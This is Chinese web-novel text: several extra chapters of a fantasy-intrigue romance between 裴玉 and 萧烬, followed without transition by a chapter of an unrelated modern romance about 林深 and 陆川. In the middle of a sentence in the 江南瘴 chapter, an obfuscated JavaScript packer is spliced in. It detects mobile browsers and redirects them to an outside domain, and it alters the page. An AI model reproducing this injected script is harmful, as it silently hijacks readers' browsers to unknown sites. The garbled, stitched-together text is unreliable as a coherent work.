漠北的月光照着黄沙下的白骨堆,裴玉的官靴陷在沙里,手中火把映出前方残破的烽燧台。风里飘来断续的埙声,吹的是《折柳词》的变调,惊得他袖中噬魂匕嗡鸣不止。 "跟了本侯三日,裴大人好雅兴。"萧烬的声音从烽燧顶传来,玄甲染着沙尘,手里拎着个滴血的布袋,"来看我活埋北戎细作?" 裴玉踏上石阶的刹那,脚下机关骤响。七根铁索破沙而出,锁链尽头拴着腐烂的尸骸——全是三年前战死的玄甲军,心口插着刻"裴"字的断箭。 "萧定北!"裴玉挥匕斩断铁索,"你早知道这是陷阱..." "嘘。"萧烬跃至他身后,陌刀劈开暗处射来的毒箭,"月圆之夜,噬魂剑主血祭烽燧,可开鬼门——这帮杂碎当真了。" 尸骸突然抽搐着站起,腐烂的眼眶里爬出赤红蛊虫。裴玉割破掌心将血抹在匕刃,幽蓝火焰腾起的瞬间,瞥见萧烬后颈的永生咒在月光下泛金——三日前他亲手刻下的续命符,此刻正被尸气侵蚀。 "东南巽位!"萧烬突然揽着他腰旋身,"沙下有..." 地面塌陷的轰鸣淹没话音。两人坠入地下祭坛,青铜鼎中沸腾的黑血里浮着半张人皮,正是裴玉半月前斩杀的水匪头子。鼎壁刻满梵文,竟是逆改命格的邪术! "借尸还魂?"裴玉冷笑,"不如本官送你们魂飞魄散!" 噬魂匕插入血鼎的刹那,整座祭坛剧烈震颤。萧烬的陌刀在石壁刮出火星,照亮穹顶壁画——画中将军心口插剑,文官执笔点魂,赫然是他们二人的相貌! "三生石..."萧烬突然捏碎腰间玉佩,"闭眼!" 强光爆发的瞬间,裴玉被扯进温暖怀抱。再睁眼时已置身幻境,漫天流火中,身着冕服的自己正将长剑刺入萧烬胸膛,血溅冕旒。 "这是..."裴玉指尖发颤。 "噬魂剑第一任主人们的结局。"萧烬抹去他额间冷汗,"轮回九世,你我总要死一个。" 幻境忽变,裴玉看见前世荒漠里,萧烬为救他自毁永生咒;看见更早的江南烟雨中,自己饮下鸩酒换他生路;最痛的是某世雪夜,萧烬剜出心脏喂进他口中... "够了!"裴玉斩碎幻象,却见现实中的祭坛开始坍塌。萧烬心口永生咒裂开细纹,黑血从唇角溢出:"出去后...把漠北大营的布防图..." "闭嘴!"裴玉咬破舌尖画符,以血为媒启动噬魂禁术,"要死一起死!" 地动山摇间,灰隼俯冲下来抓住两人肩甲。冲出地面的刹那,裴玉看见百里外的北戎大营燃起烈火——正是他三日前派死士埋的火油! 回营时东方既白。军医掀开帐帘的瞬间,裴玉正将萧烬按在榻上剜腐肉。永生咒反噬的伤口深可见骨,他却笑得恣意:"裴大人趁人之危的毛病..." "再动就废了你!"裴玉金针封住他穴位,"灰隼带回消息,北戎王帐里搜出户部印鉴。" 萧烬突然翻身将他压下:"那老头子的罪证,换裴大人一夜如何?" 话音未落,帐外传来八百里加急的号角。裴玉展开塘报,竟是新帝遇刺的消息。染血的密信夹着半块龙凤佩——与他们大婚时摔碎的那对一模一样。 "萧定北..."裴玉捏碎玉佩,"你早知皇帝是..." "弘德太子真正的遗孤。"萧烬舔去他指尖血渍,"当年冷宫抱出来的奶娃娃。" 号角又起,漠北的雪落在染血的旌旗上。裴玉系紧萧烬的护心镜,在他唇间尝到永生咒的苦涩:"此战若胜..." "就辞官。"萧烬将噬魂匕插入他腰间皮鞘,"江南的莲该开了。" (番外四·完) --- 战后清理战场时,副将在北戎统帅帐中发现青铜罗盘,指针永远朝向临台县衙的古柳。柳树下新立的石碑背面,不知被谁刻了首小诗:"烬火焚天玉生烟,沟渠明月照流年。且将残甲埋浊酒,再拜东风放纸鸢。"——正是裴玉的笔迹,却比奏折上的字迹温柔百倍 江南瘴 画舫驶入芦花荡时,裴玉正盯着手中茶沫出神。碧青瓷盏里浮着枚柳叶,叶脉间隐现朱砂符咒——这是今晨在客栈枕下发现的催命符。 "萧侯爷好兴致。"他指尖叩响舷窗,"雇十二个杀手扮船娘,不如自己唱一出《霸王别姬》。" 舱外琴声骤停。萧烬掀帘而入,月白长衫溅着血点,手中折扇挑着半截人皮面具:"裴大人怎知不是真船娘?" "沉鱼坊的姑娘..."裴玉碾碎柳叶,"从不戴鎏金虾须镯。" 血珠顺着扇骨滴落,在波斯毯上洇出暗花。萧烬忽然俯身咬住他耳垂:"三日前你救的那个女童,在粥里下了碧蚕蛊。" 裴玉袖中匕首抵住他咽喉:"所以侯爷将计就计,拿我当诱饵?" "是裴大人先用了噬魂香。"萧烬握住他手腕轻嗅,"这味道...在临台县每晚都能闻到..." 画舫猛地倾斜。数十道钩锁破窗而入,裴玉旋身斩断三根,却被萧烬拽进怀里。墨玉屏风轰然炸裂,露出后方暗舱里成捆的霹雳火弹——引线已燃至末尾。 "闭气!"萧烬揽着他撞破船底。江水灌入耳鼻的刹那,噬魂匕在水中划出幽蓝弧光,竟将火焰冻结成冰。裴玉在浮光中看见萧烬心口的永生咒裂开细纹,血丝如红莲绽放在江面。 上岸时暮色昏沉。萧烬的暗卫抬来箱笼,里头赫然是江南赈灾的三十万两官银,每锭底部都烙着"玄甲"暗记。裴玉踢翻银箱冷笑:"侯爷监守自盗的本事..." "看看夹层。"萧烬抛来火折。银锭在烈焰中融化,露出里面黑如焦炭的尸骨——正是半年前失踪的八府巡按。 "赤焰瘴。"萧烬碾碎块焦骨,"有人在江南水源投毒,把活人炼成尸银。" 夜枭掠过残月。裴玉忽然扯开萧烬衣襟,永生咒的裂痕已蔓延至锁骨:"你早中了瘴毒,为何不说?" "说与不说..."萧烬衔住他指尖,"裴大人都会救..." 话音未落,裴玉的匕首已剜入自己心口。泛着金光的血珠滴进茶盏,混着江心水喂入萧烬唇间:"噬魂剑主的血,可比你的嘴硬。" 后半夜起了大雾。裴玉在破庙里翻验尸骨,忽见萧烬的陌刀插进供桌。刀柄处嵌着的翡翠突然发光,映出墙上斑驳的壁画——画中神女手持玉瓶,瓶身花纹与赈灾银锭如出一辙。 "云梦泽的巫医族..."萧烬摩挲壁画,"二十年前被我屠尽的那支。" 裴玉的银针突然扎进他虎口:"所以幸存的巫女给你下咒,让你每逢月圆就剜心取血?" "裴大人连这个都查到了?"萧烬反手将他压在供桌,"不如再查查,为何你每次靠近,这咒就发作得格外..." 破庙外传来婴孩啼哭。裴玉瞳孔骤缩——这哭声与三日前中毒的女童一模一样!冲出庙门的刹那,他看见浓雾中浮着盏盏绿灯,每盏灯下都吊着具幼尸,肚脐处插着赤红菌菇。 "尸灯引路..."萧烬的陌刀在掌心转出残影,"跟着走,能见到下咒的正主。" 瘴气深处现出竹楼轮廓。巫女坐在人骨榻上,怀中抱着个青铜瓮,瓮中飘出裴玉再熟悉不过的香气——是萧烬每日给他点的安神香。 "血咒换命,需至亲至恨之人的心头肉。"巫女指甲划开瓮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353444|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,"裴大人可知这香里..." 寒光闪过,巫女头颅滚落榻下。萧烬的刀尖挑开她袖中暗器:"话本子听多了。"他踹翻青铜瓮,流出的却是裴玉批过的奏折灰烬。 裴玉忽然按住剧烈抽痛的太阳穴。记忆如毒蛇啃噬——父亲书房暗格里褪色的婚书、萧烬心口与自己如出一辙的胎记、还有巫女死前那句未尽的"换命之人实为..." 返程的马车上,裴玉在萧烬怀中发颤:"永生咒根本不是续命术,对不对?" "对。"萧烬吻去他眼角冰凉的泪,"是裴尚书用自己儿子的命,给真龙血脉造的锁魂棺。" 车帘外掠过青州界碑。裴玉攥紧萧烬渗血的衣襟,忽然想起临行前新帝赐的合卺酒。酒液沾唇时,年轻的帝王低声叹道:"皇兄这出偷天换日,裴卿究竟要装傻到几时?" (番外五·完) --- 三日后,裴玉在巫女竹楼找到半册残卷。泛黄的纸页记载着真正的换命术——需至爱之人心头血为引。最后一页夹着片干枯的柳叶,叶脉拼出"萧烬"二字,墨迹是二十年前裴尚书惯用的松烟墨。而江南突然痊愈的瘴毒患者身上,皆浮现出与萧烬相同的永生咒纹。 骨中香 皇陵地宫渗出的血水漫过青砖时,裴玉正用匕首撬着棺椁上的北斗七星锁。阴腐之气中混着一缕奇香,与他梦中反复闻到的味道一模一样——那是母亲自焚前,簪在他衣襟上的冷梅香。 "萧定北,你确定要开这具棺?"裴玉的刀刃映出身后人玄甲上的裂痕,"噬魂剑震颤了三日,怕是在示警。" 萧烬的陌刀劈开最后一道封棺铁链,青铜椁内传出婴孩啼哭:"裴大人怕了?"他指尖抹过棺面浮尘,露出底下暗刻的《往生咒》:"令堂临终前托梦说,要送你份及冠礼..." 棺盖轰然掀开的刹那,万千萤火虫倾巢而出。裴玉的瞳孔映出棺中景象——竟是他七岁那年被焚毁的卧房陈设,连窗边断弦的古琴都分毫不差。琴旁蜷缩着具幼童骸骨,腕上银镯刻着"裴"字。 "这是..."裴玉踉跄半步。 "你的替身。"萧烬碾碎一只萤虫,汁液腥如人血,"当年冷宫那把火,烧死的从来都不是你。" 骸骨突然暴起,骨爪直取裴玉咽喉。噬魂匕在幽暗中绽出青光,斩断的骨节落地成灰。萧烬的陌刀插进棺底暗格,挑出个鎏金匣子,匣中血书被磷火照亮: 【弘德十七年,裴氏以嫡子替皇孙,逆天改命。今咒术反噬,需真龙心头血解之。】 地宫穹顶簌簌落灰,壁画中的神女眼珠突然转动。裴玉的匕首扎进壁画缝隙,拽出条玄铁链:"上面!" 萧烬揽着他腾空而起,原先站立处刺出七根青铜矛。锁链尽头拴着具悬棺,棺面刻满与噬魂剑同源的咒文。裴玉的指尖抚过那些凹凸纹路,突然头痛欲裂——这是母亲的字迹! "开棺。"萧烬的刀尖抵住他后腰,"你等了十年的答案在里面。" 棺中躺着具戴鎏金面具的女尸,华服上绣着双头蟒。裴玉掀开面具的瞬间,地宫四壁的烛火齐齐变绿——面具下是他母亲的脸,嘴角却挂着萧烬特有的讥笑弧度。 "移魂术..."裴玉的银针扎入女尸眉心,"难怪当年她执意要学噬魂剑谱..." 女尸突然睁眼,枯爪扣住他手腕。萧烬的陌刀斩下尸首头颅,滚落的头颅竟发出母亲的声音:"玉奴儿,你当真要救这个赝品?" 噬魂剑突然脱鞘而出,悬在两人之间震颤。裴玉看着剑身映出的两张面孔,突然想起父亲临终前的呓语:"龙凤本同源..." 地宫开始坍塌。萧烬将血书塞入他怀中,反手劈开逃生密道:"走!" "一起!" "总得有人断后。"萧烬心口的永生咒开始龟裂,"毕竟我是..." 裴玉突然吻住他,舌尖抵着枚药丸渡过去:"假死药,含住了。"噬魂剑穿透两人相贴的胸膛,血溅在女尸华服的双头蟒上,蟒眼突然流出血泪。 再睁眼时已在皇陵外的乱葬岗。萧烬心口的伤疤变成暗金色,怀中血书被血浸透,显出隐藏的朱砂小字: 【换命者,心意相通则咒解。】 裴玉撕开染血的衣袖,露出腕间新生的并蒂莲纹:"萧定北,你早知解咒之法..." "裴大人不是也早知我身份?"萧烬咬破他指尖点在莲心,"三年前你掀我棺材那夜,就该明白..." 远处传来追兵马蹄声。裴玉将噬魂剑抛入寒潭,看着涟漪吞没剑身上的"裴萧"二字:"回临台县吧,该给柳树修枝了。" (番外六·完) --- 翌年清明,新帝谒陵时发现双人棺。左棺躺着戴鎏金面具的女尸,右棺却空无一物,唯有棺底刻着首小诗:"烬骨作香玉生烟,皇图霸业笑谈间。且将残剑埋浊酒,醉卧星河不羡仙。"笔迹入木三分,似是用噬魂剑刻就。而千里外的临台县衙,那株古柳抽出的新枝上,系着两条褪色的红绳,在春雨中纠缠如旧。 无字碑 临台县的秋雨泡软了乱葬岗的封土,裴玉的官靴陷在泥里,手中火把映出前方新立的无字碑。碑身爬满暗红脉络,像极了萧烬毒发时暴起的血管。 "裴大人又来验尸?"守墓老叟的独眼在斗笠下闪着绿光,"这碑下的主儿可凶得很,吞了仨仵作的心肝..." 裴玉的噬魂匕挑开碑前供果,腐烂的苹果里钻出数十条血线虫:"吞心肝的怕不是死人。"他突然斩断老叟拐杖,木屑中掉出半截人指骨,断面还沾着朱砂。 地底传来闷响,无字碑轰然炸裂。萧烬的陌刀破土而出,刀尖挑着具缠满红绳的青铜棺:"裴大人好眼力,这老鬼在养尸蚕。" 棺盖被掀开的刹那,腥风裹着银针疾射。裴玉旋身避过,却见针尖泛着熟悉的幽蓝——正是三年前毒杀弘德太子的"牵机泪"! "萧定北!"他劈开第二波毒针,"棺里有..." 萧烬的刀锋已抵住棺中人的咽喉。那是个与裴玉容貌九分相似的少年,心口插着支鎏金凤钗——正是裴玉母亲殉葬时戴的那支! "借尸还魂?"萧烬碾碎少年颈间玉牌,露出底下"东宫"暗纹,"不如说是借刀杀人。" 裴玉的银针封住少年七窍,腐肉下竟爬出金色蛊虫。噬魂匕突然剧烈震颤,匕身浮现血字:"申时三刻,断龙崖,以命换命。" 雨幕中传来灰隼尖啸。萧烬扯开少年衣襟,腰腹处赫然是裴玉幼年坠马留下的月牙疤:"首辅的手笔。"他忽然捏碎蛊虫,"用你的胎发和我的战袍灰烬养出的替身蛊。" 乱葬岗升起狼烟时,裴玉正剖开少年头骨。颅腔里蜷缩着只玉蝉,蝉翼刻满《噬魂剑谱》残章——正是他苦寻多年的下半卷! "剑谱最后一式..."萧烬抹去玉蝉上的脑浆,"需至亲至爱之人心头血为引。" 裴玉忽然按住剧痛的太阳穴。记忆如毒蛇出洞——父亲书房暗格里褪色的婚书、萧烬后颈与自己如出一辙的胎记、还有那夜在皇陵听到的呓语:"龙凤本同源..." 断龙崖的雾气浸湿诏书时,新帝的仪仗已到山脚。年轻的帝王掀开龙辇珠帘,腕间金铃与裴玉怀中玉蝉共鸣:"皇兄这出狸猫换太子,演了二十年还不够?" 崖顶传来锁链铮鸣。裴玉看着铁索桥上那道与自己一模一样的身影,忽然明白无字碑少年只是饵——真正的杀招是桥对面冰棺里的女人,那张他在祠堂供奉了二十年的脸! "母亲..."噬魂匕脱手坠崖。 萧烬的陌刀斩断铁索:"冰棺里是首辅的傀儡!"他揽着裴玉在断崖间腾挪,"二十年前东宫那场火..." 冰棺突然爆裂,女人手中的噬魂剑直刺裴玉眉心。萧烬翻身挡剑的刹那,裴玉看见剑身映出的真相——冰棺里是他真正的生母,而萧烬心口跳动的,是移植自弘德太子的帝王心! "你才是..."裴玉的银针刺入自己心口,"我的血咒..." 噬魂剑穿透两人相贴的胸膛。血溅在冰棺上的瞬间,首辅从暗处走出,手中金铃震碎崖边积雪:"好一出父子相残!" 裴玉在剧痛中大笑。他早将真诏书缝进萧烬的战袍夹层,而新帝腕间的金铃——正是开启皇陵秘宝的钥匙! (番外七·完) --- 雪夜残章 三日后,首辅暴毙于天牢。心腹在其枕下发现半片玉蝉,刻着"烬玉"二字。临台县衙的古柳突然开花,每朵柳花都形如噬魂剑,而漠北传来八百里加急——有人看见双骑掠过月牙泉,泉底沉着柄刻满《噬魂剑谱》的青铜剑。 烬玉灯(上元节特别篇) 上元夜,临台县。 长街十里灯火如昼,人潮涌动,小贩吆喝声混着孩童的笑闹,将冬夜的寒气驱散殆尽。裴玉披着件素白狐裘,手里拎着盏莲花灯,慢悠悠地走在人群里。 灯影摇曳,映得他眉眼如画,引得不少姑娘偷偷侧目。偏生他身旁还跟着个玄衣墨发的男人,腰间悬着柄陌刀,刀鞘上暗纹流转,正是萧烬。 "裴大人好雅兴。"萧烬伸手拨了下他手中的莲花灯,"上元佳节,不在县衙批公文,倒有闲心逛灯市?" 裴玉瞥他一眼:"萧侯爷不也抛下军务,跑来凑热闹?" 萧烬低笑,忽然凑近他耳边,温热的气息拂过耳垂:"本侯是来捉人的。" "捉谁?" "偷心的贼。" 裴玉耳尖微热,正想回敬一句,前方突然传来一阵骚动。人群如潮水般分开,几个衙役押着个满脸血污的汉子匆匆穿过,那汉子挣扎间袖口滑落,露出手腕上一道狰狞的蜘蛛刺青。 ——黑蛛营的余孽。 裴玉眸光一冷,指尖下意识摸向袖中匕首。萧烬却按住他的手,低声道:"别急,钓鱼得放长线。" 果然,那汉子被押走后,街角阴影里闪过几道鬼祟身影,悄无声息地跟了上去。 裴玉眯了眯眼:"你故意的?" 萧烬勾唇:"裴大人英明。" …… **子时,城隍庙。** 破败的庙宇内,烛火幽幽。那黑蛛营的汉子被捆在柱子上,嘴里塞着布条,惊恐地瞪着面前两人。 裴玉慢条斯理地擦拭着匕首,刀刃在烛光下泛着冷芒:"说吧,谁派你来临台县的?" 汉子拼命摇头,呜呜咽咽。 萧烬抱臂倚在供桌边,懒洋洋道:"裴大人问话,你最好老实答,否则……"他指尖一弹,一枚铜钱飞射而出,擦着汉子的耳廓钉入柱子,溅起一蓬木屑。 汉子吓得浑身发抖,终于吐出布条,颤声道:"是、是首辅大人的命令!他说……说临台县藏着噬魂剑的秘密,让我们来找……" "找什么?"裴玉冷声问。 "找……找一盏灯。" 裴玉和萧烬对视一眼。 "什么灯?" "烬、烬玉灯。"汉子咽了咽口水,"传说能照见前世今生,还能……逆转生死。" 萧烬嗤笑一声:"荒谬。" 裴玉却若有所思。他忽然想起父亲留下的那本古籍里,确实提过一盏名为"烬玉"的灯,据说是噬魂剑的伴生之物,可通阴阳。 "灯在哪儿?"他冷声问。 汉子摇头:"不、不知道……只说在临台县内,可能与噬魂剑有关……" 萧烬眯了眯眼,忽然伸手掐住汉子的脖子:"你最好没撒谎。" 汉子惊恐地瞪大眼,还没来得及求饶,庙外突然传来一阵诡异的铃铛声。 叮铃—— 叮铃—— 清脆,却莫名让人脊背发寒。 裴玉猛地回头,只见庙门处不知何时立了道黑影,宽大的斗篷遮住面容,手中提着一盏幽绿的灯笼。 灯罩上,隐约可见"烬玉"二字。 11. 第 11 章 林深站在酒吧的化妆镜前,仔细整理着衬衫的领口。镜中的青年有着一张清秀的脸庞,眉眼间带着几分忧郁的气质。他轻轻叹了口气,拿起放在一旁的吉他。 这是他在"夜色"酒吧驻唱的第三个月。每晚九点,他都会准时出现在这个狭小的化妆间,换上干净的白衬衫,抱着那把陪伴了他多年的木吉他登台。 推开化妆间的门,喧嚣的音乐声扑面而来。林深穿过拥挤的人群,走向舞台。他的目光不经意间扫过吧台,突然定住了。 在吧台前的高脚椅上,坐着一个熟悉的身影。 那人穿着一件深灰色的高定西装,衬得肩线格外挺拔。他随意地解开西装扣子,露出里面熨烫得一丝不苟的白衬衫。修长的手指轻轻敲击着吧台,另一只手握着手机,似乎在回复什么重要信息。 是陆川。 林深感觉自己的心跳漏了一拍。七年了,他以为自己已经忘记了那个人的样子,可当陆川真的出现在眼前时,所有的记忆都如潮水般涌来。 他记得高中时的陆川总是穿着干净的白衬衫,袖口永远一丝不苟地扣到最上面一颗。那时的陆川是学生会主席,是全校女生心中的白马王子,也是他遥不可及的一个梦。 "林深,该你上场了。"酒吧经理的声音将他拉回现实。 林深深吸一口气,快步走上舞台。他调整了一下话筒的高度,目光不自觉地又瞟向吧台。陆川似乎对周围的环境毫不在意,专注地看着手机屏幕。 "接下来这首歌,《猜猜我有多爱你》。"林深听见自己的声音有些发抖,他低下头,不敢再看陆川的方向。 前奏响起,林深闭上眼睛。这首歌他唱过无数次,但从未像今天这样紧张。他的声音有些哑,却意外地契合这首歌的氛围。 "我有多爱你,像星星数不清,像月光洒满地......" 唱到副歌部分时,林深忍不住抬眼看向吧台。陆川不知何时已经放下了手机,正端着一杯威士忌,目光直直地望向他。那双漆黑的眼睛里仿佛有星光闪烁,让林深想起七年前的那个夜晚。 那是高三的毕业晚会,他作为钢琴伴奏坐在角落里。陆川作为学生代表上台发言,经过他身边时,突然停下脚步,轻声说:"你的琴声很美。" 就这一句话,让他记了整整七年。 "......猜猜我有多爱你,像海一样深,像天一样远......" 林深的声音越来越轻,他感觉自己的眼眶有些发热。台下响起零星的掌声,他匆匆鞠躬,快步走向后台。 洗手间里,林深用冷水拍打着发烫的脸颊。镜子里的自己眼眶泛红,看起来狼狈不堪。他深吸一口气,努力平复着心跳。 "林深?" 熟悉的声音在身后响起,林深浑身一僵。他缓缓转过身,看到陆川正倚在门框上,手里还端着那杯威士忌。 "真的是你。"陆川走近一步,目光在他脸上逡巡,"我刚才在台下就觉得眼熟,没想到真的是你。" 林深下意识后退,后背抵在冰冷的瓷砖上。陆川身上的古龙水味道萦绕在鼻尖,混合着威士忌的醇香,让他有些眩晕。 "陆......陆总。"林深艰难地开口。他早就知道陆川现在是陆氏集团的掌舵人,财经杂志上的常客。 陆川轻笑一声:"叫我陆川就好。"他晃了晃手中的酒杯,"你的歌声还是和以前一样动人。" 林深感觉耳根发烫。他想说些什么,却发现自己的喉咙干涩得厉害。 "要不要喝一杯?"陆川将酒杯递到他面前,"就当是......老同学叙旧。" 林深看着杯中琥珀色的液体,犹豫了一下,接过酒杯抿了一口。威士忌的辛辣在舌尖炸开,让他忍不住皱起眉头。 陆川低低地笑了:"还是这么不会喝酒。"他的声音里带着几分怀念,"记得高中毕业聚会那次,你也是一杯就倒了。" 林深惊讶地抬头:"你记得?" "当然记得。"陆川的目光变得深邃,"那天你喝醉后,一直抱着钢琴不肯撒手,说要弹一首曲子给我听。" 林深的脸瞬间涨得通红。他当然记得那天的事,只是没想到陆川也记得这么清楚。 "后来呢?"他忍不住问。 "后来你弹了一首《月光奏鸣曲》,弹到一半就睡着了。"陆川的声音里带着笑意,"是我把你背回家的。" 林深感觉心跳加速。他从来不知道,原来那天是陆川送他回家的。记忆中的片段突然变得清晰起来,他隐约记得有人背着他走在夜色中,记得那人身上淡淡的雪松香...... "林深,"陆川突然靠近,温热的呼吸拂过他的耳畔,"这些年,我一直在找你。" 林深坐在陆川的宾利副驾驶上,手指无意识地摩挲着安全带。车内弥漫着淡淡的雪松香,和陆川身上的味道一模一样。他偷偷瞥了一眼驾驶座上的男人,陆川修长的手指搭在方向盘上,腕间露出一块低调的百达翡丽。 "在想什么?"陆川突然开口,声音里带着一丝笑意。 林深吓了一跳,连忙收回视线:"没......没什么。" "还是这么容易害羞。"陆川轻笑一声,"和高中时一样。" 林深感觉耳根发烫。他记得高中时的陆川总是这样,不经意间就能让他脸红心跳。那时的陆川是学生会主席,每天都要经过音乐教室。而他总是躲在琴房里,透过窗户偷偷看着那个挺拔的身影。 "我记得你以前经常在琴房练琴。"陆川突然说,"每次经过都能听到你的琴声。" 林深惊讶地转头:"你......你知道是我?" "当然知道。"陆川的嘴角勾起一抹意味深长的笑,"我还知道,你每次看到我经过,都会弹错音。" 林深的脸瞬间涨得通红。他以为自己的暗恋藏得很好,没想到早就被当事人发现了。 车子在一家高档餐厅前停下。门童恭敬地拉开车门,陆川自然地牵起林深的手。林深下意识想挣脱,却被握得更紧。 "别紧张。"陆川在他耳边轻声说,"只是吃个饭。" 餐厅里灯光昏暗,钢琴声悠扬。侍者将他们引到一个靠窗的位置,窗外是璀璨的城市夜景。林深看着菜单上的价格,暗自咂舌。 "想吃什么?"陆川问。 "随......随便。"林深小声说。 陆川笑了笑,熟练地点了几道菜。侍者离开后,他端起红酒杯,目光灼灼地看着林深:"这些年,你过得怎么样?" 林深低下头,手指无意识地摆弄着餐巾:"就......还好。大学毕业后在音乐培训机构教钢琴,后来......" "后来为什么不去维也纳了?"陆川突然打断他,"我记得你拿到了维也纳音乐学院的offer。" 林深的手顿住了。他没想到陆川连这个都知道。 "家里......出了点事。"他低声说,"父亲生意失败,欠了很多债。我不得不放弃留学,开始打工还债。" 陆川的眼神暗了暗:"为什么不来找我?" 林深苦笑:"找你?以什么身份呢?我们甚至连朋友都算不上。" "谁说我们不是朋友?"陆川的声音突然变得严肃,"林深,你对我来说,从来都不是陌生人。" 林深抬起头,对上陆川深邃的目光。那双眼睛里仿佛有千言万语,让他心跳加速。 "你知道吗?"陆川继续说,"我一直在关注你。知道你放弃了维也纳,知道你开始在酒吧驻唱,知道你......"他顿了顿,"一直是一个人。" 林深感觉眼眶有些发热。他从未想过,原来自己并不是单相思。 "为什么......"他哽咽着问,"为什么要关注我?" 陆川放下酒杯,修长的手指轻轻擦去他眼角的泪水:"因为从第一次听到你的琴声,我就知道,你是我要找的人。" 林深愣住了。他从未想过,那个高高在上的陆川,会对自己说出这样的话。 "林深,"陆川的声音低沉而温柔,"给我一个机会,让我照顾你,好吗?" 林深感觉自己的心跳快得几乎要跳出胸腔。他看着陆川认真的眼神,突然想起七年前的那个夜晚。那时的陆川也是这样看着他,说他的琴声很美。 "我......"他刚要开口,突然被一阵手机铃声打断。 陆川皱了皱眉,掏出手机看了一眼,脸色突然变得凝重。 "抱歉,我接个电话。"他站起身,走到窗边。 林深看着陆川的背影,突然有种不好的预感。他隐约听到陆川在说什么"订婚""董事会"之类的词,心猛地沉了下去。 当陆川回到座位时,脸上的温柔已经消失不见,取而代之的是商界精英特有的冷峻。 "林深,"他犹豫了一下,"我可能要提前离开了。公司有点急事。" 林深勉强挤出一个笑容:"没关系,你去忙吧。" 陆川站起身,突然俯身在他额头上落下一个轻吻:"等我电话。" 看着陆川匆匆离去的背影,林深感觉心里空了一块。他拿起桌上的红酒杯,一饮而尽。酒精的辛辣让他忍不住咳嗽起来,却比不上心里的苦涩。 林深站在音乐培训机构的教室里,手指无意识地敲击着钢琴键。窗外的阳光洒在黑白琴键上,折射出细碎的光芒。距离那天的晚餐已经过去一周,陆川再也没有联系过他。 "林老师?"一个稚嫩的声音将他拉回现实。 林深回过神来,看到自己的学生小美正疑惑地看着他:"老师,你弹错音了。" "啊,对不起。"林深勉强笑了笑,"我们重新来一遍。" 然而他的心思早已不在教学上。陆川的身影不断在脑海中浮现,那句"等我电话"仿佛还在耳边回响。他忍不住掏出手机,屏幕上空空如也,没有任何未接来电或短信。 下课铃响起,林深收拾好教案,正准备离开,突然听到前台传来一阵骚动。 "林老师,有人找!"前台小姐的声音里带着掩饰不住的兴奋。 林深疑惑地走出教室,看到陆川正站在前台,手里捧着一大束白玫瑰。他今天穿着一件深蓝色的高定西装,衬得整个人更加挺拔俊美。前台小姐们都在偷偷打量他,窃窃私语。 "陆......陆总?"林深惊讶地睁大眼睛。 陆川微微一笑,将花束递给他:"抱歉,这几天公司有点忙。" 林深接过花束,闻到淡淡的玫瑰香。他感觉自己的心跳又开始加速:"没......没关系。" "今晚有空吗?"陆川问,"我想带你去个地方。" 林深犹豫了一下,还是点了点头。他无法拒绝陆川,就像七年前无法控制自己偷偷看他一样。 陆川带他来到市中心的一栋写字楼。电梯直达顶层,林深惊讶地发现这里竟然是一个私人音乐厅。 "这是......" "我的私人音乐厅。"陆川说,"平时用来招待一些重要的客户。" 林深走进音乐厅,被眼前的景象震撼了。宽敞的大厅中央摆放着一架施坦威三角钢琴,四周的墙壁都做了专业的声学处理。阳光透过落地窗洒进来,给整个空间镀上一层金色。 "要不要试试?"陆川指了指钢琴。 林深走到钢琴前,轻轻抚摸着琴键。他已经很久没有弹过这么好的钢琴了。深吸一口气,他的手指轻轻落在琴键上。 《月光奏鸣曲》的旋律在音乐厅里流淌。林深闭上眼睛,完全沉浸在音乐中。他感觉自己的灵魂仿佛与钢琴融为一体,所有的烦恼都烟消云散。 当他弹完最后一个音符,才发现陆川不知何时已经站在他身后。 "太美了。"陆川低声说,"和七年前一样美。" 林深转过身,对上陆川深邃的目光。两人的距离近得能感受到彼此的呼吸。 "林深,"陆川的声音有些沙哑,"我想......" 他的话音未落,手机突然响了起来。陆川皱了皱眉,掏出手机看了一眼,脸色突然变得难看。 "抱歉,我必须接这个电话。"他快步走到窗边。 林深听到陆川在说什么"董事会""联姻"之类的词,心猛地沉了下去。他突然意识到,自己和陆川之间,终究隔着一道看不见的鸿沟。 当陆川挂断电话回来时,脸上的温柔已经消失不见。 "林深,我可能要提前离开了。"他的声音里带着歉意,"公司有点急事。" 林深勉强挤出一个笑容:"没关系,你去忙吧。" 陆川犹豫了一下,突然俯身在他额头上落下一个轻吻:"等我电话。" 看着陆川匆匆离去的背影,林深感觉心里空了一块。他走到钢琴前,手指无意识地按下一个琴键。清脆的音符在空旷的音乐厅里回荡,显得格外孤独。林深站在公寓的阳台上,望着远处的城市灯火。夜风拂过他的脸颊,带来一丝凉意。距离上次在音乐厅分别已经过去两周,陆川依然没有联系他。 他掏出手机,犹豫着要不要主动发个消息。然而想到陆川的身份,他又默默收起了手机。他们之间,终究隔着一道看不见的鸿沟。 突然,门铃响了。 林深疑惑地走到门口,透过猫眼看到陆川正站在门外。他穿着一件皱巴巴的衬衫,领带松松垮垮地挂在脖子上,整个人看起来有些狼狈。 "陆总?"林深打开门,惊讶地看着他。 陆川身上带着浓重的酒气,眼神却异常清醒:"林深,我想见你。" 林深犹豫了一下,还是侧身让他进来。陆川踉跄着走进客厅,一屁股坐在沙发上。 "你喝酒了?"林深皱眉问道。 "一点点。"陆川揉了揉太阳穴,"今天董事会......算了,不说这个。" 他抬起头,目光灼灼地看着林深:"我想听你弹琴。" 林深愣了一下:"现在?" "对,现在。"陆川站起身,摇摇晃晃地走向角落里的立式钢琴,"就弹《月光奏鸣曲》。" 林深无奈地叹了口气,走到钢琴前坐下。他的手指轻轻落在琴键上,熟悉的旋律在房间里流淌。 陆川站在他身后,双手撑在钢琴上。温热的呼吸拂过林深的耳畔,让他心跳加速。他能感觉到陆川的目光一直停留在自己身上,炙热得几乎要将他灼伤。 当最后一个音符落下,陆川突然俯身,从背后抱住了他。 "林深......"他的声音沙哑而低沉,"我好累。" 